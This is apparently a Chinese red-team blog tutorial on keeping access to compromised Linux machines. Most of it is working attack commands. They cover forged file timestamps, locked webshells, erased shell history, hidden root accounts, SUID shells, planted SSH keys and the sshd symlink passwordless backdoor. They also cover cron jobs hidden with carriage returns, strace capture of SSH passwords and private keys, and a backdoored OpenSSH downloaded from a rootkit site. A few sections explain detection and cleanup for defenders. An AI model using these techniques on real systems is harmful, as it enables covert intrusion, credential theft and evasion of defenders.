小白白红队初成长(6)Linux权限维持

文章目录

  • 0、前言
      • 0.1、闲谈
      • 0.2、强制删除用户
      • 0.3、给某用户sudo
      • 0.4、查看哪些用户拥有root权限
  • 1、隐藏后门技巧
      • 1.1、修改文件属性
      • 1.2、文件锁定
      • 1.3、历史操作命令
  • 2、添加用户
      • 2.1、/etc/passwd写入用户
      • nologin用户、UID
          • 2.1.1 存在交互的shell且允许uid=0的⽤户远程登录
          • 2.1.2 存在交互的shell不允许uid=0的⽤户远程登录(高版本)
          • 2.1.3 没交互shell⽆回显添加Linux账户密码
  • 3、SUID
  • 4、公私钥
      • 4.1、利用过程
      • 4.2、解决root用户不能远程登陆的问题
      • 4.3、应急公私钥后门
  • 5、软连接
      • 5.0、利用前提
      • 5.1、直接利用
      • 5.2、简述原理
          • 5.2.1、`pam_rootok.so模块`
          • 5.2.2、`PAM认证机制 `
          • 5.2.3、小结:
      • 5.3、别的利用方式
          • 5.3.1、root用户修改软连接名字
          • 5.3.2、没有root权限的非root用户 (任意普通用户)
          • 5.3.3、拥有root权限的非root用户 (这个笔者没有测试)
      • 5.4、应急软连接后门
          • 5.4.1、寻找拥有“ pam_rootok.so ”模块的程序
          • 5.4.2、寻找异常端口
          • 5.4.3、确定软链接后门文件
          • 5.4.4、删除软链接后门
          • 5.4.5、一些有意思的补充
  • 6、Crontab(计划任务)(重要)
      • 6.1、原理
      • 6.2、cat命令的小缺陷
      • 6.3、利用
      • 6.4、排查
  • 7、strace
      • 7.1、原理
      • 7.2、实例
      • 7.3、清理
      • 7.4、其他
          • 7.4.1、记录sshd私钥
          • 7.4.2、修改alias文件记录ssh
          • 7.4.3、修改alias文件记录sudo、su
  • 8、openssh后⻔(危险)
      • 8.1、一些要点
      • 8.2、具体步骤

0、前言

0.1、闲谈

  • 在红蓝的对抗之中木马几乎一定会被发现,我们的目的就是尽可能的让发现的时间延迟,除了可以有比较骚的思路之外,更多的还是细节的问题。
  • 在做红队的时候,平时对漏洞的研究建议深入。但是在对抗之中,工具一定要多,同一类洞至少要有2种以上的不同版本、不同人写的工具。
  • 在拿下一台机器之后,建议先判断当前机器在什么环境内。比如一开始就拿到了一个办公网的,在横向去DMZ区域的话,难免有点南辕北辙。(毕竟办公网的机器更加靠近“核心”)
  • 收集内网可以连接的跨网段信息,可以看看浏览器记录、SSH连接记录、还有进程记录(ps -ef)
  • 还可以使用 traceroute + 域名/IP 看看从当前机器到目标机器都经过哪些机器,这些过程机器一般也可以连接。
  • 当拿到一个机器之后,建议先扫一扫同C段的,同一个C段的流量一般不会经过交换机,即一般不会被态势感知所捕获。现在对于很多企业来说,纵向的防护已经不错了,但是横向的还是比较偏弱,只能通过edr防护,但是edr又比较难覆盖全面。

0.2、强制删除用户

对于Linux,删除用户的时候,有时候会报各种错误导致无法删除。

可以尝试以下方法:

切换到root用户,

执行命令	“ userdel -rf 想删除的用户名 ”
	
	如“ userdel -rf test ”

之后在尝试“ su test ”,

返回“ No passwd entry for user 'test' ”则说明删除成功。

0.3、给某用户sudo

除此之外,假设想给某个用户sudo权限,直接命令:

sudo usermod -aG sudo test(对应的用户名)

0.4、查看哪些用户拥有root权限

命令如下:

grep 'x:0:' /etc/passwd

grep root /etc/group

1、隐藏后门技巧

1.1、修改文件属性

hvv中,很多蓝队首先会根据文件的修改时间来判断文件是否含有后门。

假设原本的文件大多时间都为20年,新上传的木马是22年的,肯定会被优先针对。

可以通过以下命令来复制文件的时间属性:
	
	touch -r index.php shell.php
实验如下:

原本存在文件1.php   然后正常建立文件2.php   

在复制1.php文件属性来建立3.php,效果还是很明显的。

touch命令⽤于修改⽂件或者⽬录的时间属性,包括存取时间和更改时间。

若⽂件不存在,系统会建⽴⼀个新的⽂件。

1.2、文件锁定

Linux中,使⽤chattr命令来防⽌root和其他管理⽤户误删除和修改重要⽂件及⽬录,

此权限⽤ls -l是查看不出来的,从⽽达到隐藏权限的⽬的。
chattr +i evil.php		#锁定⽂件

rm -rf evil.php			#提示禁⽌删除

lsattr evil.php			#属性查看

chattr -i evil.php		#解除锁定

rm -rf evil.php			#彻底删除⽂件

小白白红队初成长(6)Linux权限维持_第1张图片

1.3、历史操作命令

Linux之中,存在history,可以记录我们执行的命令。

在shell中执⾏的命令,不希望被记录在命令⾏历史中,如何开启⽆痕操作模式呢?

技巧⼀:只针对你的⼯作关闭历史记录

[space]set +o history	

#备注:[space]表示空格。并且由于空格的缘故,该命令本身也不会被记录

注意的是:

上⾯的命令会临时禁⽤历史功能,这意味着在这命令之后你执⾏的所有操作都不会记录到历史中,

然⽽这个命令之前的所有东⻄都会原样记录在历史列表中。

小白白红队初成长(6)Linux权限维持_第2张图片

经过上述操作,反而“ 此地无银三百两 ”,别急接着来补救。

使用命令“ history -d 编号 ”

小白白红队初成长(6)Linux权限维持_第3张图片

再次使用命令“[space]set -o history”恢复命令的记录。


技巧二:删除指定/批量历史记录

有时候我们想要看看,历史有没有一些敏感的命令,可以使用以下命令来筛选

	history | grep "关键词" 

小白白红队初成长(6)Linux权限维持_第4张图片

删除指定命令,上边已经说过,
	
	history -d 编号 
但是这种删除还是比较费事,可以选择批量删除,

比如只保留前2⾏,注意该命令经过测试仅root用户可以操作,且修改的是root用户的历史记录
	
	sed -i '2,$d' .bash_history			、、这个是在/root目录下

对于非root用户可以试试以下命令,笔者在测试的时候发现自己的非root用户下该文件内容为空。
	
	sed -i '2,$d' /home/当前用户/.bash_history

2、添加用户

2.1、/etc/passwd写入用户

/etc/passwd各部分含义:
	
	⽤户名:密码:⽤户ID:组ID:身份描述:⽤户的家⽬录:⽤户登录后所使⽤的SHELL

/etc/shadow各部分含义:
	
	⽤户名:密码的MD5加密值:⾃系统使⽤以来⼝令被修改的天数:⼝令的最⼩修改间隔:⼝令更改的周期:
	⼝令失效的天数:⼝令失效以后帐号会被锁定多少天:⽤户帐号到期时间:保留字段尚未使⽤
通过修改/etc/passwd添加用户的具体操作参考:
	
	https://blog.csdn.net/weixin_43970718/article/details/117446065
	、、其中的 “ 4.1.8
⼀些系统中,存放着加密后的⽤户⼝令字。虽然这个字段存放的只是⽤户⼝令的加密串,不是明⽂,

但是由于/etc/passwd⽂件对所有⽤户都可读,所以这仍是⼀个安全隐患。

因此,现在许多Linux系统(如SVR4)都使⽤了shadow技术,

把真正的加密后的⽤户⼝令字存放到/etc/shadow⽂件中,

⽽在/etc/passwd⽂件的⼝令字段中只存放⼀个特殊的字符,例如“x”或者“*”。

另外注意的是:

  • 这种通过直接修改passwd仅仅适用于低版本的Linux。

    高版本的是无法这么操作的,但是实战之中仍然建议试试,万一成功了呢。

  • 低版本的passwd也可以存在*或者x,仍然可以尝试通过修改passwd来添加账户。

这里在进行补充一些知识:

nologin用户、UID

Linux中一般我们安装了一些新的服务后,都会新建一个用户,

这些用户不能用SSH来登录,但是可以使用系统资源。

比如我们安装了一个MySQL,就会出现mysql用户(服务账户),

但是这个用户不能登录,当然我们可以也可以启用这些账户。
Unix/Linux系统下的nobody用户与nologin详细介绍:		
	
		https://www.yisu.com/zixun/156143.html

启用nologin用户:	
	
		https://cloud.tencent.com/developer/article/1663326

=========手动分割----------------------------

UID=0是最高权限的用户,有时候不能被远程登录,可以创建一个普通用户。

正常可以通过 “id” 来查看当前的用户的UID,

小白白红队初成长(6)Linux权限维持_第5张图片

了解了上述,我们就可以根据不同的情况来增加系统的账户了。

2.1.1 存在交互的shell且允许uid=0的⽤户远程登录

假设低版本的话直接参考	下边链接的“ 4.1.8 ”

	https://blog.csdn.net/weixin_43970718/article/details/117446065

假设是高版本的话,先修改/etc/passwd的内容,在设置对应账户的密码
	
	echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd 
	#增加超级⽤户账号

	passwd cshm 
	#修改cshm的密码


2.1.2 存在交互的shell不允许uid=0的⽤户远程登录(高版本)
这个时候我们就可以创建一个普通的用户,先修改/etc/passwd的内容,在设置对应账户的密码

	echo "xbb:x:1000:1000::/:/bin/sh" >> /etc/passwd
	#增加普通⽤户账号

	passwd xbb
	#修改wxg的密码为xbb123456
如何设置不允许root账户远程登录,可以参考:
	
	https://www.cnblogs.com/binblogs/p/5201307.html
2.1.3 没交互shell⽆回显添加Linux账户密码
  • 可以设置简单的密码
useradd wxg -u 0 -o -g root -G root|| echo "123456" | passwd --stdin wxg 

#创建账户wxg、密码123456且为root权限

注意,上述命令需要执行2次

Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:

也得执行两次。且需要root用户执行,sudo执行也会失败。

	sudo useradd wxg -u 0 -o -g root -G root || echo wxg:123456 | chpasswd 
	
	#创建账户wxg、密码123456且为root权限

  • 新增一个低权限用户(这种权限较小)
useradd test

echo "123456" | passwd --stdin test

	、、在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:
	
		echo test:123456 | chpasswd
  • 设置复杂密码的高权限用户
useradd -u 0 -o -g root -G root user |echo -e "1qazwsx2wsx\n1qazwsx2wsx"|passwd user

、、该命令也得执行2次。且需要root用户执行,sudo执行也会失败。

、、该命令创建用户名称为“ user ”密码为“ 1qazwsx2wsx ”

3、SUID


当⼀个⽂件所属主的x标志位s(set uid简称suid)时,且所属主为root时,

当执⾏该⽂件时,其实是以root身份执⾏的。必要条件:

	1、SUID权限仅对⼆进制程序有效。
	
	2、执⾏者(当前用户)对于该程序需要具有x(可执⾏)权限
	
	3、本权限(suid权限)仅在执⾏该程序的过程中有效
	
	4、在执⾏过程中执⾏者将具有该程序拥有者的权限

实验:

使用root用户执行以下命令,来模拟正常用户不小心造成的漏洞利用环境

	cp /bin/bash /tmp/.woot
	
	chmod 4755 /tmp/.woot			、、这个权限主要是前边的“4”,后边的也可以设置为“ 777 ”
	
	ls -al /tmp/.woot				、、这个名字加个“.”起到隐藏的作用,可以设置为其他的

此时可以看到该文件前边带“ s ”,且整个文件存在“ 红底 ”。
小白白红队初成长(6)Linux权限维持_第6张图片

此时在使用root用户创建一个普通用户,

	useradd test
	
	su test

然后直接执行,
	
	/tmp/.woot

这里似乎是翻车了。再次补充一些知识:

/bin/bash针对suid有⼀些护卫的措施,使⽤-p参数来获取⼀个root shell

我们在试试 
	
		 /tmp/.woot -p 

小白白红队初成长(6)Linux权限维持_第7张图片

实战之中快速查找具有suid权限的⽂件:

	find / -perm +4000 -ls
	
	find / -perm -u=s -type f 2>/dev/null

4、公私钥

4.1、利用过程

在攻击机器上执行命令“ sudo ssh-keygen -t rsa  ”,然后一路回车。

生成两个文件,
	
	/root/.ssh/id_rsa			、、私钥
	
	/root/.ssh/id_rsa.pub		、、公钥

接着执行下边这个语句,输入目标机器root的账户密码。
	
	“ ssh-copy-id -i  id_rsa.pub 远程服务器IP ”		
		、、具体如下图,这容易出问题(没问题最好),下边有解释
	
在之后直接输入“ ssh 目标机器的IP ”即可直接连接。

小白白红队初成长(6)Linux权限维持_第8张图片

4.2、解决root用户不能远程登陆的问题

在操作将公钥复制到目标机器提示输出root密码的时候,输入正确的密码仍然提示不对。

出现这种问题,首先可以试试正常的能不能使用root远程登录。		
	
	直接 “ ssh [email protected] ”然后输入正确的密码也不能登录的话,就可以按照下边的先修改。

	sudo vim /etc/ssh/sshd_config

	按一下“ esc ”在“:”后输入“ set nu ”调出文件的行数,
	
	找到PermitRootLogin,将后边的prohibit-password改为“ yes ”;同时将最前边的“ # ”给去掉。		
		
		、、大约在33行。

小白白红队初成长(6)Linux权限维持_第9张图片

修改完毕之后,保存退出,

执行命令“ sudo service ssh restart ”,来重启 ssh 服务。

然后再次执行命令“  ssh [email protected] ”即可连接。

4.3、应急公私钥后门

对于防守方的同学来说,也比较好解决。直接删除“ /root/.ssh/authorized_keys  ”文件即可。

 	rm -rf /root/.ssh/authorized_keys 



注意的是,假设当前机器已经被同步了公钥的话,

在将“ /etc/ssh/sshd_config ”文件的33行添加注释也不能阻止对方使用私钥连接。

小白白红队初成长(6)Linux权限维持_第10张图片

5、软连接

5.0、利用前提

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:cat /etc/ssh/sshd_config|grep UsePAM
	
	、、	返回 “  UsePAM yes  ” 则说明开启了PAM进行身份验证

	、、这个PAM是默认开启的

root用户要可以远程登陆

	参考 ” 4.2 “节的内容

云环境的机器很多端口都是默认被拦截的,不能对外开放,

	具体解决办法,见 “ 5.1、直接利用 ”的“ 问题一 ".

5.1、直接利用

受害者机器直接执行以下命令(当前权限为root):
	
	ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=25566

	、、这个端口是任意的,其格式为:
	
		ln -sf /usr/sbin/sshd /路径名/su; /路径名/su -oPort=端口号
	
然后在攻击机器直接执行:
	
	ssh root@x.x.x.x -p 25566

密码任意输入,即可直接登陆。


	

小白白红队初成长(6)Linux权限维持_第11张图片

问题一:

有的同学在目标机器添加完软连接,使用攻击机器登陆会出现“ SSH链接超时的情况 ”

这种一般去看看系统有没有开启防火墙,开启的话直接关闭。
第二个云服务器的话,看看是不是做了入口限制。笔者在做对应实验的时候就是这种情况。

小白白红队初成长(6)Linux权限维持_第12张图片

5.2、简述原理

5.2.1、pam_rootok.so模块
凡是有“pam_rootok.so模块”的程序,root用户(uid=0)都可以无需密码认证直接使用。

	比如“ su ”程序,

root用户使用该程序是无需任何密码认证;别的用户使用都需要密码验证成功后在使用。



除了“ su ”程序,在文件夹“ /etc/pam.d ”下还有别的程序,可以使用命令以下命令进行筛选,
、、这有一个问题,为什么筛选“ /etc/pam.d ”文件夹下的,而不筛选其他的,下边在解释。

	find /etc/pam.d|xargs grep "pam_rootok"

得到这些程序也使用了“pam_rootok.so”模块;		、、root用户都可以免密使用。
、、注意:这些文件不同的系统可能会有略微的差别

	/etc/pam.d/chsh		
	/etc/pam.d/chfn		
	/etc/pam.d/su			
	/etc/pam.d/runuser	
	

小白白红队初成长(6)Linux权限维持_第13张图片

可以看看/etc/pam.d/su文件内包含配置“ auth sufficient pam_rootok.so ”

小白白红队初成长(6)Linux权限维持_第14张图片

5.2.2、PAM认证机制

以下内容为笔者理解,如有问题,欢迎各位大佬补充。

若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,

PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。

、、这也是为什么上边我们在文件夹“ /etc/pam.d ”下搜索含有“pam_rootok.so模块”的程序。

这里做一个假设:

假设ssh服务的配置文件是“ /etc/pam.d ”下含有“pam_rootok.so模块”的程序时。

我们使用root用户就可以进行“免密”行为。即直接连接上SSH。

现在我们的目的就是:
	
	如何让ssh服务的配置文件去加载“ /etc/pam.d ”下含有“pam_rootok.so模块”的程序
		
	因为这样,我们使用root用户进行ssh认证的话,就不用密码了。
在看看建立的软连接后门与SSH链接命令:
	
	ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234

	ssh root@x.x.x.x -p 1234

即我们使用1234端口进行ssh链接,应该在链接的时候就会去找配置文件,
	
	因为我们的软连接是“ /tmp/su ”,则加载的配置文件就是“ /etc/pam.d/su ”
	、、这一步的具体原因不详

而这个“ /etc/pam.d/su ”是有“pam_rootok.so模块”的程序,即root用户可以免密使用。

最终达到上边的假设,实现无密登陆。
5.2.3、小结:
一些程序含有特殊的属性,导致root用户使用不需要密码。

SSH登陆的时候,配置文件去加载上述这些特殊的程序。

即使用root用户登陆SSH无需密码。

5.3、别的利用方式

5.3.1、root用户修改软连接名字

了解原理之后,我们就可以稍微进行变通的去使用“ ssh软连接后门 ”

我们上边的利用语句为:

	ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=25566

我们通过“ find /etc/pam.d|xargs grep "pam_rootok" ”得知还有很多程序可以使用,
	、、注意:这些文件不同的系统可能会有略微的差别

	/etc/pam.d/chsh		
	/etc/pam.d/chfn		
	/etc/pam.d/su			
	/etc/pam.d/runuser	

我们也可以改为:
	
	ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=25566

然后攻击机器直接,
	
	ssh root@x.x.x.x -p 25566

这里的格式就变为:

ln -sf /usr/sbin/sshd /路径名/特殊程序; /路径名/特殊程序 -oPort=端口号

5.3.2、没有root权限的非root用户 (任意普通用户)
系统存在一个用户如xbb,只要是xbb可以通过SSH链接就行。

接着使用root用户创建软连接后门,这个必须是root用户:
	
	  ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=25566	
	  、、格式就参考“ 5.3.1 ”就行,这是其中一种。

这里正常是使用root用户就行链接:
	
	ssh root@x.x.x.x -p 25566
	、、密码任意

其实这里使用xbb登陆也行,直接:
	
	ssh xbb@x.x.x.x -p 25566
	、、密码任意

原理:

这个“ 软连接 ”的进程是root用户创建的,

所有其他的用户使用ssh登陆,都会被当做root用户去访问,

即别的用户也实现了免密登陆。
5.3.3、拥有root权限的非root用户 (这个笔者没有测试)

前提:

  • 系统存在xbb用户
  • xbb用户拥有root权限
使用这个用户创建一个拥有“ pam_rootok.so模块 ”的程序:

	 echo " 
	 #%PAM-1.0
	 auth       sufficient   pam_rootok.so
	 auth       include      system-auth
	 account    include      system-auth
	 password   include      system-auth
	 session    include      system-auth " >> /etc/pam.d/xbb

然后创建软连接后门:

	  ln -sf /usr/sbin/sshd /tmp/xbb;/tmp/xbb -oPort=25566

  • 高Linux版本

    仅仅可以使用“ ssh [email protected] -p 25566 ”进行链接

  • 低Linux版本

    可以使用任意可以SSH登陆的用户“ssh 任意用户@x.x.x.x -p 25566”进行链接

5.4、应急软连接后门

5.4.1、寻找拥有“ pam_rootok.so ”模块的程序
  • 先使用“ find /etc/pam.d|xargs grep "pam_rootok" ”看看哪些程序可以使用
比如找到以下程序,先保存。
	su
	chfn		
	chsh	
	xbb
5.4.2、寻找异常端口

命令:netstat -anpt 比如找到:

这个进程号“ 7702 ”要保存一下。

小白白红队初成长(6)Linux权限维持_第15张图片
使用命令ll /proc/7702查看PID 7702所使用的程序,确认为ssh
小白白红队初成长(6)Linux权限维持_第16张图片

5.4.3、确定软链接后门文件

命令“find -name su”寻找,比如找到下边两个位置:

 /usr/share/bash-completion/completions/su

 /usr/local/su

然后使用命令“ll /usr/local/su”看看是不是ssh的软连接,

紫色箭头的都不是,红色箭头的就是,还是很明显的。
小白白红队初成长(6)Linux权限维持_第17张图片

5.4.4、删除软链接后门

确认了软连接后门,直接“rm -rf /usr/local/su”。

这里切记不要在“ su ”后边加“ / ”不然就把ssh也删除了。
最后别忘了停止对应的进程,

	kill -9 7702

	进程不结束仅仅删除文件是没用的。

另外别忘了以类似的方式看看进程“ 7848 ”

这部分赖得自己截图,部分内容直接参考前辈文章:

	https://blog.csdn.net/weixin_40412037/article/details/117447832
5.4.5、一些有意思的补充
在找后门的这,最初的想法是。我们直接去找文件“ /usr/sbin/sshd ”有哪些软连接不就好了

然后经过实际的查找发现正常情况下,除了报错之外还有近50个对应的软连接。。。

命令:
	
	  find -type l -exec ls -l {} \;| grep '/usr/sbin/sshd'

如图是部分:

6、Crontab(计划任务)(重要)

6.1、原理

Linux系统中,计划任务⼀般是由cron承担,我们可以把cron设置为开机时⾃动启动。

cron启动后,它会读取它的所有配置⽂件

(全局性配置⽂件/etc/crontab,以及每个⽤户的计划任务配置⽂件),

然后cron会根据命令和执⾏时间来按时来调⽤⼯作任务。
crontab命令用于定期执行某些设定好的任务,

crond命令每分钟都会定期检查是否有要执行的任务,如果有便会自动执行该任务。

若创建新的cron任务,并不会马上执行,一般过2分钟后才能够执行,或者可以重启cron马上执行。



crontab -l命令用于查看定时任务,实际是查看/var/spool/cron/crontabs/root文件

	crontab -l的本质 == cat /var/spool/cron/crontabs/当前用户名称

(每个用户都会生成一个与自己同名的crontab文件位于/var/spool/cron/crontabs/中),

这样的话,我们就可以利用一下cat的⼀个缺陷,可以达到输入“ crontab -l ”显示没有计划任务的样子。

而事实上,计划任务仍然是新建完毕的。即“建立隐藏后门的文件”。

cron表达式在线⽣成: http://qqe2.com/cron

6.2、cat命令的小缺陷

cat其实默认使⽤是⽀持⼀些⽐如 

	\r回⻋符
	\n换⾏符
	\f换⻚符、
	
也就是这些符号导致的能够隐藏命令。

6.3、利用

  • 新建一个后门文件: 、、当前路径为:/etc/aa

      如“ vim bb.sh ”内容直接写以下语句:
      
      whoami >> /etc/aa/cc.txt			
      	
      	\\真实环境可以是反弹shell的语句
      	\\这里注意,最好写脚本执行的绝对路径
    
  • 给后门文件加执行权限

      " chmod 777 "
    
  • 添加计划任务

      (crontab -l;printf "*/1 * * * * /etc/aa/bb.sh;\rno crontab for `whoami`%100c\n")|crontab -
    
      该计划任务会每隔一分钟执行一次。
    
  • 接着模拟正常用户来看看有没有计划任务

       sudo cat /var/spool/cron/crontabs/用户名
      
       或者是 crontab -l
    

    都是无法看到真正的计划任务,红箭头就是隐藏的计划任务。

  • 最后可以重启crond服务,使得马上生效

      service crond restart
      	
      实际测试,Ubuntu是不需要此操作。
    
  • 最后,看看成果:

小白白红队初成长(6)Linux权限维持_第18张图片

6.4、排查

  • 查看完整的计划文件内容任务

       sudo cat /var/spool/cron/crontabs/用户名 -A 
      
       或者是 crontab -e					//按  ctrl + x;选择“no”退出
    
  • 排查内容

    打开之后,在看看是不是有一些异常计划任务,特别是“no crontab for 用户名”这种。
    小白白红队初成长(6)Linux权限维持_第19张图片

  • 删除对应的计划任务和对应的脚本文件。

      ~删除 “ /var/spool/cron/crontabs/用户名 ”的对应内容
      
      ~删除 对应的执行脚本。
    

7、strace

7.1、原理

strace是⼀个动态跟踪⼯具,它可以跟踪系统调⽤的执⾏。我们可以把他当成⼀个键盘记录的后⻔,

来扩⼤我们的信息收集范围,

通过其他⽅式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。

我们想要获取当前主机的密码,或者通过这台主机连接到其他主机的密码。

7.2、实例

这里以” 记录sshd进程明⽂密码 “为例。

另外,经过笔者测试。以下内容使用root用户执行可以,使用别的用户不生效

  • 拿到root权限,但是不知道具体账户的密码,直接执行命令:

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.xbb.txt &)

、、这个将明文密码保存到文件“ /tmp/.xbb.txt ”,位置和名字都是任意的。
  • 模拟用户在别处使用SSH登陆该机器,

  • 使用命令查看被记录的SSH登陆密码:“ grep -E ‘read(6, “.+\0\0\0\.+”’ /tmp/.xbb.txt ”
    小白白红队初成长(6)Linux权限维持_第20张图片

这里注意的是,我们这不仅仅会记录正确的密码,错误的密码也会被记录

7.3、清理

对于这种记录键盘的情况,“ strace ”进程一定会存在。

正常直接执行命令“ ps -ef | grep strace ”,查看对应的pid。

小白白红队初成长(6)Linux权限维持_第21张图片

然后直接“kill 1595”干掉该进程即可,之后在使用SSH登陆都不会被记录。

这里有一个问题是,在这之前我们记录的文件“ /tmp/.xbb.txt ”依旧存在。

且因为保存的路径和名称都是任意的,所以几乎无解,先去把SSH登陆用户的密码都修改了
、、如果有大佬知道欢迎补充。

这最开始的思路是使用命令“ps -ef”,因为该命令看到进行的时候,也会保留创建此进程的命令
	
但是,从上图我们的筛选结果来看,刚刚好不显示路径~~~

7.4、其他

以下部分,笔者未实操,作为知识点补充吧。

7.4.1、记录sshd私钥
 (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

当⽤户通过私钥登录时,使⽤如下命令查看记录的私钥

grep 'PRIVATE KEY' /tmp/.sshd.log
7.4.2、修改alias文件记录ssh

我们还可以记录本机执⾏ssh、su等命令,这⾥以ssh为例修改alias

#添加命令

vi ~/.bashrc 或者 /etc/bashrc

	alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'

#⽴即⽣效

	source ~/.bashrc

#读取密码
	
	执⾏以下命令,会在/tmp/⽬录下多个log,然后读取log中记录的密码
	
	ssh 10.xx.xx.148 -l mysql

小白白红队初成长(6)Linux权限维持_第22张图片

7.4.3、修改alias文件记录sudo、su

记录sudo、su的alias

alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'

alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'

8、openssh后⻔(危险)

8.1、一些要点

利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。

但是这种方法相对来说,造成的“ 动静 ”很大。

在测试环境中,非root用户是失败的。

最后,该方式有可能会造成机器SSH无法登陆,谨慎!谨慎!

8.2、具体步骤

备份SSH配置文件
	mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
	mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old


下载SSH配置文件:
可以使用wget下载到目标机器、或使用马上传。

	官方安装包:openssh-5.9p1.tar.gz
	https://mirrors.aliyun.com/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
	
	后门安装包:5.9p1.patch.tar.gz
	http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz


解压:
	tar zxvf openssh-5.9p1.tar.gz
	tar zxvf openssh-5.9p1.patch.tar.gz

复制patch后⻔⽂件到正常openssh⾥⾯:
	cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/

在openssh-5.9p1中执行:
	patch < sshbd5.9p1.diff

小白白红队初成长(6)Linux权限维持_第23张图片

修改后门密码and文件记录:			、、在openssh-5.9p内
	
	vim includes.h

、、下边的179行,远程后门的远程连接密码可以设置为任意自己喜欢的。

小白白红队初成长(6)Linux权限维持_第24张图片

修改SSH版本信息一致,使其不易被发现。

查看当前系统的SSH系统版本,命令如下: 

	ssh -V

	得到:OpenSSH_7.6p1 Ubuntu-4ubuntu0.5, OpenSSL 1.0.2n  7 Dec 2017

在修改" /openssh-5.9p1/version.h "
	
	vim version.h

小白白红队初成长(6)Linux权限维持_第25张图片

编译安装

首先对ssh里面的几个key的权限进行修改,否则可能进行编译的时候key不能修改而报错。

cd /etc/ssh

chmod 620 moduli
chmod 600  /etc/ssh/ssh_host_ed25519_key
chmod 600  /etc/ssh/ssh_host_ecdsa_key
chmod 600  /etc/ssh/ssh_host_rsa_key
chmod 600  /etc/ssh/ssh_host_ed25519_key

安装环境编译运⾏,在“ openssh-5.9p1 ”文件夹之中。

CentOs 7:

	yum install -y openssl openssl-devel pam-devel zlib zlib-devel
	./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
	make clean
	make && make install
	systemctl restart sshd.service

Ubuntu 16.04:
	apt-get install -y openssl libssl-dev libpam0g-dev
	./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
	make clean
	make && make install
	/etc/init.d/ssh restart 

后续有一些错误,在处理错误的时候,笔者将测试的环境搞崩了(无法通过SSH登录了)。

再次提醒,该方法成功后很难被发现,但是也有可能把目标机器搞崩。

且行且珍惜!

后续有时间在测试吧,具体的可以参考一些前辈的文章:

参考:

https://www.codeleading.com/article/43835892676/

http://hone.cool/2018/03/22/OpenSSH%E5%90%8E%E9%97%A8%E7%9A%84%E5%AE%89%E8%A3%85/

https://www.jianshu.com/p/c1cd73b072f1

https://bypass007.github.io/Emergency-Response-Notes/privilege/%E7%AC%AC4%E7%AF%87%EF%BC%9ALinux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81--%E5%90%8E%E9%97%A8%E7%AF%87.html

你可能感兴趣的:(小白红队初成长,linux,php,运维)